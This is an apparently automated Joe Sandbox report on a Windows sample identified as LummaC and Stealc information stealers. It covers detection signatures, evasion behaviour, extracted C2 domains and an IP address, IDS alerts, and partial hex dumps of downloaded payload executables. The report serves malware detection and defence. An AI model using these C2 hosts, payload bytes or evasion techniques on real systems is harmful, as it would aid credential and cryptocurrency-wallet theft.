Edit tour

Windows Analysis Report
0OkLsJL2Bn.exe

Overview

General Information

Sample name:	0OkLsJL2Bn.exe renamed because original name is a hash value
Original sample name:	6fb1b9f7e9401b07ac16a04a4a1629f5.exe
Analysis ID:	1579733
MD5:	6fb1b9f7e9401b07ac16a04a4a1629f5
SHA1:	e89c3002939e76addeb6c22aa4bc0e05ef4acc23
SHA256:	2ed6dad58364e299b0265f758d7142e44fe2c5597416e8d685b23b9c55883158
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

0OkLsJL2Bn.exe (PID: 7688 cmdline: "C:\Users\user\Desktop\0OkLsJL2Bn.exe" MD5: 6FB1B9F7E9401B07AC16A04A4A1629F5)

YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

2WLTZV8JUCLEOOJ1JDBUZTRB.exe (PID: 6008 cmdline: "C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe" MD5: 880F67C30D6C2335273B27DF0004F500)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["steppriflej.xyz", "ripe-blade.cyou", "pollution-raker.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "hosue-billowy.cyou", "smash-boiling.cyou", "supporse-comment.cyou", "cuddlyready.xyz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1424241594.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1424514583.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1420755075.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423580795.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423215100.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422533162.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1424029355.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422429279.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421974868.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422867072.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421188440.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423895230.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1424844900.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423447285.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421848660.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421525273.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1420631880.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1425321244.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423073046.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421711035.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1420031730.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1425238181.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421054192.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1424128912.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422075965.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1719052761.00000000005C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.1632301806.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1420187340.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1425115480.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1424748984.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1373420987.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1424387670.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1425006550.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1423346210.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1420481628.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1424649468.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1425495603.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422644060.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421317804.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1420342190.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1420872874.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1421412387.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422748556.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1422260267.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0OkLsJL2Bn.exe PID: 7688	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0OkLsJL2Bn.exe PID: 7688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe PID: 6008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe PID: 6008	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 46 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:24.188417+0100	2028371	3	Unknown Traffic	192.168.2.10	49707	172.67.150.173	443	TCP
2024-12-23T08:15:26.295833+0100	2028371	3	Unknown Traffic	192.168.2.10	49713	172.67.150.173	443	TCP
2024-12-23T08:15:28.701591+0100	2028371	3	Unknown Traffic	192.168.2.10	49719	172.67.150.173	443	TCP
2024-12-23T08:15:30.917439+0100	2028371	3	Unknown Traffic	192.168.2.10	49725	172.67.150.173	443	TCP
2024-12-23T08:15:33.268196+0100	2028371	3	Unknown Traffic	192.168.2.10	49731	172.67.150.173	443	TCP
2024-12-23T08:15:36.048380+0100	2028371	3	Unknown Traffic	192.168.2.10	49739	172.67.150.173	443	TCP
2024-12-23T08:15:38.507340+0100	2028371	3	Unknown Traffic	192.168.2.10	49748	172.67.150.173	443	TCP
2024-12-23T08:15:42.266746+0100	2028371	3	Unknown Traffic	192.168.2.10	49757	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:24.973139+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49707	172.67.150.173	443	TCP
2024-12-23T08:15:27.067836+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49713	172.67.150.173	443	TCP
2024-12-23T08:15:43.030786+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49757	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:24.973139+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49707	172.67.150.173	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:27.067836+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49713	172.67.150.173	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:44.492996+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	49763	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:29.554777+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	49719	172.67.150.173	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:16:00.463630+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.10	49796	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:15:38.513192+0100	2843864	1	A Network Trojan was detected	192.168.2.10	49748	172.67.150.173	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0OkLsJL2Bn.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0OkLsJL2Bn.exe.7688.1.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["steppriflej.xyz", "ripe-blade.cyou", "pollution-raker.cyou", "greywe-snotty.cyou", "sendypaster.xyz", "hosue-billowy.cyou", "smash-boiling.cyou", "supporse-comment.cyou", "cuddlyready.xyz"], "Build id": "PsFKDg--pablo"}
Source: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe.6008.5.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: 0OkLsJL2Bn.exe	ReversingLabs: Detection: 57%
Source: 0OkLsJL2Bn.exe	Virustotal: Detection: 53%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 0OkLsJL2Bn.exe

Joe Sandbox ML: detected

Source: 0OkLsJL2Bn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.10:49757 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe, 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.10:49796 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49707 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49707 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49713 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49713 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49757 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:49719 -> 172.67.150.173:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:49748 -> 172.67.150.173:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: steppriflej.xyz
Source: Malware configuration extractor	URLs: ripe-blade.cyou
Source: Malware configuration extractor	URLs: pollution-raker.cyou
Source: Malware configuration extractor	URLs: greywe-snotty.cyou
Source: Malware configuration extractor	URLs: sendypaster.xyz
Source: Malware configuration extractor	URLs: hosue-billowy.cyou
Source: Malware configuration extractor	URLs: smash-boiling.cyou
Source: Malware configuration extractor	URLs: supporse-comment.cyou
Source: Malware configuration extractor	URLs: cuddlyready.xyz

Performs DNS queries to domains with low reputation

Source:

DNS query: cuddlyready.xyz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:15:43 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 07:15:49 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 06:16:47 GMTConnection: keep-aliveETag: "6769004f-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 